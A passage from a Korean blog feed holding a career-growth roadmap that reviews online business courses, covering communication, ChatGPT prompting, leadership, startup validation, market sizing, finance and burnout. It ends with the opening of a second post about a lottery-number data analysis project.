&lt;p data-ke-size=&quot;size16&quot;&gt;이 로드맵은 직장인의 성장을 &lt;b&gt;9개의 STAGE&lt;/b&gt;로 구분합니다:&lt;br /&gt;&lt;b&gt;STAGE 1-2&lt;/b&gt;: 기초 및 실무 전문가 (1-5년차)&lt;br /&gt;&lt;b&gt;STAGE 3-4&lt;/b&gt;: 팀 리더 준비 및 신입 팀장 (5-7년차)&lt;br /&gt;&lt;b&gt;STAGE 5-6&lt;/b&gt;: 비즈니스 전략가 및 신사업/창업 (사업개발자)&lt;br /&gt;&lt;b&gt;STAGE 7-8&lt;/b&gt;: 전략적 의사결정 및 전문 영역 심화 (임원 준비)&lt;br /&gt;&lt;b&gt;STAGE 9&lt;/b&gt;: 개인 성장 &amp;amp; 웰빙 (전 연차)&lt;br /&gt;각 STAGE는 순차적으로 학습하는 것을 권장하지만, 자신의 현재 역할과 목표에 따라 건너뛰거나 병행할 수도 있습니다.&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;STAGE 1-2: 기초부터 실무 전문가까지 (입문~5년차)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;왜 이 단계가 중요한가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 주니어 직장인들이 &quot;실무 경험을 쌓으면 자연스럽게 성장한다&quot;고 믿습니다. 하지만 현실은 다릅니다. 3년을 일해도 1년 차 수준에 머무는 사람이 있고, 2년 만에 5년 차 역량을 갖추는 사람도 있습니다. 차이는 &lt;b&gt;체계적인 학습&lt;/b&gt;에 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 강의 하이라이트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문해력과 표현력 (강의 #1, #2)&lt;/b&gt;&lt;br /&gt;&quot;회사에서는 이렇게 말하고, 이렇게 씁니다&quot;는 제가 가장 먼저 추천하는 강의입니다. 실무에서 겪는 대부분의 문제는 기술 부족이 아니라 &lt;b&gt;커뮤니케이션 오류&lt;/b&gt;에서 발생합니다.&lt;br /&gt;이 강의는 회의, 메신저, 보고서에서 사용하는 실전 표현법을 다룹니다. 예를 들어:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;확인 부탁드립니다&quot; vs &quot;~까지 검토 후 회신 부탁드립니다&quot;&lt;/li&gt;
&lt;li&gt;&quot;어렵습니다&quot; vs &quot;현재 리소스로는 ~이 제약이 있어, ~를 조정하면 가능합니다&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작은 차이 같지만, 이런 표현의 정밀도가 신뢰도를 결정합니다.&lt;br /&gt;&lt;b&gt;AI 도구 활용 (강의 #6, #7)&lt;/b&gt;&lt;br /&gt;ChatGPT 시대에 &quot;프롬프트는 검색이 아니라 명령&quot;이라는 관점은 혁신적입니다. 대부분의 사람들이 ChatGPT를 고급 검색 엔진처럼 사용하지만, 진짜 생산성 향상은 &lt;b&gt;역할 부여와 맥락 설정&lt;/b&gt;에서 나옵니다.&lt;br /&gt;강의에서 제시하는 프롬프트 구조:&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;역할: 당신은 5년차 마케팅 기획자입니다.
맥락: 신제품 런칭을 3개월 앞두고 있습니다.
조건: B2B 타겟, 예산 500만원, 채널은 LinkedIn 중심
질문: 위 조건에서 실행 가능한 마케팅 플랜 3가지를 제시해주세요.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 구조화된 질문은 답변의 질을 10배 높입니다.&lt;br /&gt;&lt;b&gt;70점의 기술 (강의 #8)&lt;/b&gt;&lt;br /&gt;완벽주의는 직장에서 독입니다. 이 강의는 &quot;최소 실행 단위(MVA: Minimum Viable Action)&quot;를 설계하는 법을 가르칩니다.&lt;br /&gt;핵심 개념: &lt;b&gt;70% 완성도로 2배의 피드백을 받아라&lt;/b&gt;&lt;br /&gt;100점짜리 기획서를 일주일에 1개 만드는 것보다, 70점짜리를 3일에 1개 만들어 피드백을 받는 게 더 빠른 성장을 만듭니다.&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;STAGE 3-4: 실무자에서 리더로 (5-7년차, 신입 팀장)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;가장 어려운 전환점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5년 차에서 7년 차로 넘어가는 시기는 직장 생활에서 가장 중요한 분기점입니다. 여기서 두 갈래 길이 나뉩니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;전문가 트랙&lt;/b&gt;: 실무 최고 수준의 개인 기여자(IC)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;관리자 트랙&lt;/b&gt;: 팀을 이끄는 리더&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어느 쪽이 더 좋다는 것이 아닙니다. 하지만 많은 회사가 &quot;승진 = 팀장&quot;이라는 구조를 가지고 있어, 원하든 원하지 않든 리더십을 배워야 하는 순간이 옵니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 강의 하이라이트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;팔로우십이 없으면 리더십도 없다 (강의 #19)&lt;/b&gt;&lt;br /&gt;리더가 되기 전에 먼저 &quot;리더가 믿는 실무자&quot;가 되어야 합니다. 이 강의는 역설적으로 리더십의 본질을 가장 잘 보여줍니다.&lt;br /&gt;주요 개념:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;선택적 주도권&lt;/b&gt;: 지시를 기다리지 않고, 판단 가능한 영역에서 먼저 움직이기&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결과 공유&lt;/b&gt;: 내가 한 일의 결과와 영향을 리더에게 투명하게 공유하기&lt;/li&gt;
&lt;li&gt;&lt;b&gt;문제 보고 + 해결안&lt;/b&gt;: &quot;이렇게 진행하려 합니다&quot; 형태로 보고하기&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;좋은 사람이 아닌, 좋은 팀장 (강의 #27)&lt;/b&gt;&lt;br /&gt;신입 팀장이 가장 많이 하는 실수는 &quot;좋은 사람&quot;이 되려는 것입니다. 거절을 못 하고, 모든 일을 떠안고, 팀원에게 미움받을까 봐 피드백을 회피합니다.&lt;br /&gt;이 강의에서 배운 핵심 문장:&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;좋은 팀장은 좋은 사람이 아니라, 팀원이 성장하는 환경을 만드는 사람이다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구체적 실행 방법:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;명확한 기대치 설정&lt;/b&gt;: &quot;이번 프로젝트에서 네가 책임질 범위는 A이고, 내가 서포트할 부분은 B다&quot;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;피드백 루틴&lt;/b&gt;: 월 1회 1:1 미팅에서 잘한 점 2개, 개선할 점 1개 공유&lt;/li&gt;
&lt;li&gt;&lt;b&gt;거절의 기술&lt;/b&gt;: &quot;지금은 우선순위가 아니라서 다음 분기로 미루겠습니다&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;중간관리자라는 이름의 이중통역사 (강의 #30)&lt;/b&gt;&lt;br /&gt;팀장의 가장 큰 스트레스는 &quot;위에서는 추상적 지시, 아래에서는 구체적 질문&quot;이라는 딜레마입니다.&lt;br /&gt;임원: &quot;고객 경험을 혁신하자&quot;&lt;br /&gt;팀원: &quot;구체적으로 뭘 해야 하나요?&quot;&lt;br /&gt;이 강의는 추상어를 행동 언어로 번역하는 5단계 프로세스를 제시합니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;핵심 추출&lt;/b&gt;: &quot;고객 경험 혁신&quot;에서 측정 가능한 요소 찾기&lt;/li&gt;
&lt;li&gt;&lt;b&gt;질문 설계&lt;/b&gt;: &quot;어떤 고객의 어떤 경험을?&quot;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;범위 설정&lt;/b&gt;: &quot;우리 팀이 영향 줄 수 있는 범위는?&quot;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;액션 전환&lt;/b&gt;: &quot;다음 주까지 할 수 있는 첫 단계는?&quot;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;합의 문서화&lt;/b&gt;: 팀 전체가 볼 수 있는 형태로 정리&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시스템으로 만들어내는 리더십 (강의 #32)&lt;/b&gt;&lt;br /&gt;제가 개인적으로 가장 감명받은 강의입니다. &quot;리더십은 카리스마가 아니라 시스템&quot;이라는 관점은 평범한 사람도 훌륭한 리더가 될 수 있다는 희망을 줍니다.&lt;br /&gt;실전 시스템 예시:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;주간 대시보드&lt;/b&gt;: 5분 안에 팀 상황 파악 (진행률, 블로커, 다음 액션)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;문서 중심 소통&lt;/b&gt;: 회의 전 사전 문서 공유로 회의 시간 50% 단축&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자동화 템플릿&lt;/b&gt;: 반복 업무는 노션/슬랙 자동화로 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 시스템이 갖춰지면, 리더가 없어도 팀이 굴러갑니다.&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;STAGE 5-6: 비즈니스 전략가에서 신사업 개발자로&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실무 전문성을 사업 전략으로 확장하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5년 이상 경력자 중 일부는 팀 관리보다 &lt;b&gt;사업 자체를 만드는 것&lt;/b&gt;에 관심을 갖기 시작합니다. 마케팅, 사업개발(BD), 전략기획, PM 같은 역할이 여기 해당됩니다.&lt;br /&gt;이 단계의 핵심은 &lt;b&gt;&quot;내가 만든 것이 시장에서 살아남는가?&quot;&lt;/b&gt;를 검증하는 능력입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 강의 하이라이트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;고객 검증의 기술 (강의 #46)&lt;/b&gt;&lt;br /&gt;스타트업의 90%가 실패하는 이유는 기술력 부족이 아닙니다. &lt;b&gt;시장이 원하지 않는 것을 만들기 때문&lt;/b&gt;입니다.&lt;br /&gt;이 강의는 린 스타트업 방법론을 실전에 적용하는 4단계 프로세스를 제시합니다:&lt;br /&gt;&lt;b&gt;1단계: 아이디어 &amp;rarr; 가설 전환&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;나쁜 예: &quot;운동하는 사람들을 위한 앱&quot;&lt;/li&gt;
&lt;li&gt;좋은 예: &quot;퇴근 후 30분 이내로 집에서 운동하고 싶은 30대 직장인이 운동 영상과 기록을 한 곳에서 관리할 수 있다면, 월 9,900원을 지불할 것이다&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2단계: 최소 비용 검증 (Smoke Test)&lt;/b&gt;&lt;br /&gt;제품을 만들기 전에 랜딩페이지만 만들어 광고를 돌려봅니다. 클릭률 3% 이상, 이메일 등록률 10% 이상이면 신호가 있는 것입니다.&lt;br /&gt;&lt;b&gt;3단계: 초기 고객 인터뷰&lt;/b&gt;&lt;br /&gt;10명과 30분씩 대화합니다. &quot;이게 있으면 쓸 것 같아요?&quot;가 아니라, &quot;지난 한 달간 이 문제를 해결하기 위해 뭘 했나요?&quot;를 묻습니다.&lt;br /&gt;&lt;b&gt;4단계: PMF(Product-Market Fit) 측정&lt;/b&gt;&lt;br /&gt;숀 엘리스의 40% 법칙: &quot;이 제품이 없어지면 매우 실망할 것이다&quot;라는 답변이 40% 이상이면 PMF 달성입니다.&lt;br /&gt;&lt;b&gt;TAM-SAM-SOM 실전 산식 (강의 #57)&lt;/b&gt;&lt;br /&gt;투자 PT나 사업계획서에서 가장 많이 나오는 질문: &quot;시장 규모가 얼마죠?&quot;&lt;br /&gt;대부분의 답변은 이렇습니다:&lt;br /&gt;&quot;한국 헬스케어 시장은 10조 원입니다&quot; (TAM: Total Addressable Market)&lt;br /&gt;하지만 투자자가 진짜 알고 싶은 것은:&lt;br /&gt;&quot;당신이 &lt;b&gt;실제로 공략 가능한 시장&lt;/b&gt;은 얼마죠?&quot; (SOM: Serviceable Obtainable Market)&lt;br /&gt;이 강의는 추상적 시장 크기가 아니라, 실제 접근 가능한 고객을 계산하는 법을 가르칩니다:&lt;br /&gt;&lt;b&gt;예시: 직장인 대상 점심 도시락 배달&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;TAM: 전체 외식 시장 = 100조 원&lt;/li&gt;
&lt;li&gt;SAM: 직장인 점심 시장 = 10조 원&lt;/li&gt;
&lt;li&gt;SOM: 서울 강남/판교 오피스 밀집 지역, 배달 가능 반경 = 1,000억 원&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SOM을 더 구체화하면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;대상 건물: 100개 빌딩&lt;/li&gt;
&lt;li&gt;건물당 평균 직장인: 300명&lt;/li&gt;
&lt;li&gt;전체 잠재 고객: 30,000명&lt;/li&gt;
&lt;li&gt;시장 침투율 가정 (5%): 1,500명&lt;/li&gt;
&lt;li&gt;객단가: 10,000원&lt;/li&gt;
&lt;li&gt;주 3회 이용 가정: 월 매출 = 1,500명 &amp;times; 10,000원 &amp;times; 12회 = 1.8억 원&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 바닥부터의 계산(Bottom-up)이 신뢰를 만듭니다.&lt;br /&gt;&lt;b&gt;경쟁하지 말고, 지배하라 (강의 #63)&lt;/b&gt;&lt;br /&gt;피터 틸의 &quot;제로 투 원&quot;을 실전에 적용한 강의입니다. 핵심 질문: &lt;b&gt;&quot;당신의 독점 영역은 무엇인가?&quot;&lt;/b&gt;&lt;br /&gt;시장을 지배하는 3가지 메커니즘:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;네트워크 효과&lt;/b&gt;: 사용자가 많을수록 가치가 증가 (예: 카카오톡, 배달의민족)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;전환 비용&lt;/b&gt;: 한번 쓰기 시작하면 바꾸기 어려움 (예: ERP, CRM)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;브랜드 각인&lt;/b&gt;: 카테고리 = 브랜드 (예: 검색 = 구글, 배달 = 배민)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작은 시장이라도 100% 지배하는 것이 큰 시장에서 5% 차지하는 것보다 낫습니다.&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;STAGE 7-8: 전략적 의사결정과 전문 영역 심화&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;관리자에서 경영자로&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7단계와 8단계는 &lt;b&gt;임원 후보군&lt;/b&gt;을 위한 단계입니다. 여기서는 개별 프로젝트의 성공이 아니라, &lt;b&gt;조직 전체의 방향성&lt;/b&gt;을 결정하는 역량을 다룹니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 강의 하이라이트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위대한 결정의 해부학 (강의 #67)&lt;/b&gt;&lt;br /&gt;좋은 의사결정자와 평범한 의사결정자의 차이는 무엇일까요? 이 강의는 50개의 비즈니스 결정 사례를 분석해 패턴을 찾아냅니다.&lt;br /&gt;&lt;b&gt;성공한 결정의 5가지 공통점:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;시간 제약 설정&lt;/b&gt;: 무한정 고민하지 않고, 결정 시한을 정함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;되돌릴 수 있는가 확인&lt;/b&gt;: Reversible vs Irreversible 결정 구분&lt;/li&gt;
&lt;li&gt;&lt;b&gt;3안 비교&lt;/b&gt;: 최소 3가지 옵션을 동시에 검토&lt;/li&gt;
&lt;li&gt;&lt;b&gt;반대 의견 청취&lt;/b&gt;: &quot;이 결정이 실패하는 시나리오는?&quot;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결정 기록&lt;/b&gt;: 왜 이렇게 결정했는지 문서화&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 인상적이었던 사례는 &lt;b&gt;아마존의 원웨이 도어(One-way Door) vs 투웨이 도어(Two-way Door)&lt;/b&gt; 개념입니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;투웨이 도어: 되돌릴 수 있는 결정 &amp;rarr; 빠르게 결정하고 실행&lt;/li&gt;
&lt;li&gt;원웨이 도어: 되돌릴 수 없는 결정 &amp;rarr; 신중하게 검토&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분의 결정은 투웨이 도어인데, 사람들은 모든 결정을 원웨이 도어처럼 고민합니다.&lt;br /&gt;&lt;b&gt;숫자 위의 리더십, 재무경영 (강의 #69)&lt;/b&gt;&lt;br /&gt;&quot;숫자를 모르는 리더는 맹인이 운전하는 것과 같다&quot;는 비유가 강렬합니다.&lt;br /&gt;이 강의는 MBA 수준의 재무제표 분석을 실전 형태로 압축합니다. 비전공자도 이해할 수 있는 3가지 핵심 지표:&lt;br /&gt;&lt;b&gt;1. 손익계산서 (P&amp;amp;L) 읽기&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;매출 1억
- 매출원가 4천만 (40%) &amp;rarr; 매출총이익 6천만
- 판관비 3천만 (30%) &amp;rarr; 영업이익 3천만
- 이자/세금 5백만 &amp;rarr; 순이익 2천5백만&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심: 영업이익률 30%는 건강, 10% 이하는 위험 신호&lt;br /&gt;&lt;b&gt;2. 현금흐름표 (Cash Flow)&lt;/b&gt;&lt;br /&gt;이익은 흑자인데 현금이 없어 망하는 회사가 있습니다(흑자도산). 매출채권 회수가 늦거나, 재고가 쌓이면 발생합니다.&lt;br /&gt;&lt;b&gt;3. Break-Even Point (손익분기점)&lt;/b&gt;&lt;br /&gt;고정비 + 변동비를 커버하는 최소 매출&lt;br /&gt;예: 고정비 월 3천만원, 변동비율 40% &amp;rarr; BEP = 5천만원&lt;br /&gt;이런 숫자를 읽으면, &quot;광고비를 늘려야 할까?&quot;가 아니라 &quot;CAC(고객획득비용)가 LTV(고객생애가치)를 초과하지 않는 선에서 늘려야 한다&quot;는 정밀한 판단이 가능합니다.&lt;br /&gt;&lt;b&gt;한 명 더 뽑는 순간, 리더십이 바뀐다 (강의 #72)&lt;/b&gt;&lt;br /&gt;조직 규모에 따라 리더십 스타일을 바꿔야 한다는 통찰이 신선합니다.&lt;br /&gt;&lt;b&gt;1명 (솔로 창업자)&lt;/b&gt;: 모든 것을 직접&lt;br /&gt;&lt;b&gt;3명 (초기 팀)&lt;/b&gt;: 역할 분담, 하지만 모든 일을 공유&lt;br /&gt;&lt;b&gt;7명 (스쿼드)&lt;/b&gt;: 서브 리더 필요, 업무 영역 명확히 구분&lt;br /&gt;&lt;b&gt;15명 (부서)&lt;/b&gt;: 중간관리자 구조, 시스템화 시작&lt;br /&gt;&lt;b&gt;50명+ (조직)&lt;/b&gt;: 문화와 프로세스가 리더십을 대체&lt;br /&gt;대부분의 리더가 실패하는 이유는 3명 팀 운영 방식을 15명 조직에 그대로 적용하기 때문입니다.&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;STAGE 9: 개인 성장과 웰빙 - 지속 가능한 커리어를 위하여&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;번아웃과 재충전&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직장인 교육 대부분은 &quot;더 많이, 더 빠르게&quot;를 강조합니다. 하지만 지속 가능한 성장을 위해서는 &lt;b&gt;에너지 관리&lt;/b&gt;가 필수입니다.&lt;br /&gt;&lt;b&gt;번아웃 졸업식 (강의 #91)&lt;/b&gt;&lt;br /&gt;이 강의는 일 잘하는 사람들이 탈진하는 이유를 3가지로 분석합니다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;경계 부재&lt;/b&gt;: 업무 시간과 휴식 시간의 경계가 무너짐&lt;/li&gt;
&lt;li&gt;&lt;b&gt;과도한 책임감&lt;/b&gt;: &quot;내가 안 하면 팀이 무너진다&quot;는 착각&lt;/li&gt;
&lt;li&gt;&lt;b&gt;회복 루틴 부족&lt;/b&gt;: 스트레스를 해소하는 개인만의 방법이 없음&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br /&gt;#직장인자기계발 #온라인강의추천 #커리어개발 #직장인성장로드맵 #실무역량강화 #리더십교육 #신입팀장가이드 #비즈니스전략 #사업기획 #마케팅실무 #ChatGPT활용법 #데이터분석입문 #경력관리 #직장인공부 #평생학습 #3년차직장인 #5년차커리어전환 #신입사원교육 #팀장승진준비 #경력직이직 #업무효율화 #보고서작성법 #회의퍼실리테이션 #고객분석 #프롬프트엔지니어링 #마케터성장&amp;nbsp;#PM되는법&amp;nbsp;#사업개발자&amp;nbsp;#HR실무&amp;nbsp;#전략기획&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;1116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cciq2p/dJMcafyAih5/rTH2cRsqK5J5CaSRHaKixk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cciq2p/dJMcafyAih5/rTH2cRsqK5J5CaSRHaKixk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cciq2p/dJMcafyAih5/rTH2cRsqK5J5CaSRHaKixk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcciq2p%2FdJMcafyAih5%2FrTH2cRsqK5J5CaSRHaKixk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1752&quot; height=&quot;1116&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;1116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>FastCampus</category>
      <category>고객분석</category>
      <category>리더십교육</category>
      <category>보고서작성법</category>
      <category>실무역량강화</category>
      <category>업무효율화</category>
      <category>온라인강의추천</category>
      <category>직장인성장 로드맵</category>
      <category>직장인자기계발</category>
      <category>커리어개발</category>
      <category>회의퍼실리테이션</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/195</guid>
      <comments>https://thepin.tistory.com/195#entry195comment</comments>
      <pubDate>Sat, 17 Jan 2026 23:37:08 +0900</pubDate>
    </item>
    <item>
      <title>Episode 1: 첫 줄의 코드, 605회의 시작 (The First Line: 605 Beginnings)</title>
      <link>https://thepin.tistory.com/194</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이&amp;nbsp;글은&amp;nbsp;패스트캠퍼스&amp;nbsp;바이브코딩&amp;nbsp;강의를&amp;nbsp;수강하며,&amp;nbsp;별도의&amp;nbsp;주제로&amp;nbsp;진행한&amp;nbsp;데이터&amp;nbsp;분석&amp;nbsp;프로젝트&amp;nbsp;과정을&amp;nbsp;기록한&amp;nbsp;것입니다.&amp;nbsp;코딩과&amp;nbsp;글&amp;nbsp;작성에는&amp;nbsp;클로드코드와&amp;nbsp;커서AI&amp;nbsp;및&amp;nbsp;퍼플렛시티를&amp;nbsp;함께&amp;nbsp;활용했음을&amp;nbsp;미리&amp;nbsp;밝힙니다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;h1&gt;&lt;b&gt;Episode 1: 첫 줄의 코드, 605회의 시작 (The First Line: 605 Beginnings)&lt;/b&gt;&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로또 645 데이터 분석 프로젝트 시작하기&lt;/b&gt;: 기본 통계부터 시각화까지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 공이 굴러가듯, 프로젝트의 첫 코드를 작성합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://img.shields.io/badge/Python-3.8+-blue.svg&quot; alt=&quot;Python&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/pandas-2.0-green.svg&quot; alt=&quot;pandas&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/matplotlib-3.7-orange.svg&quot; alt=&quot;matplotlib&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;: 2026-01-10&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;난이도&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;: ⭐⭐☆☆☆&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;예상 소요 시간&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;: 2-3시간&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;버전&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;: v1.0~v2.0&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;920&quot;&gt;&lt;a href=&quot;https://lo645251227.streamlit.app/&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CQxtN/dJMcagqF6Wi/KPdgKxlOrkmkLplDRazMIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCQxtN%2FdJMcagqF6Wi%2FKPdgKxlOrkmkLplDRazMIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1914&quot; height=&quot;920&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;920&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
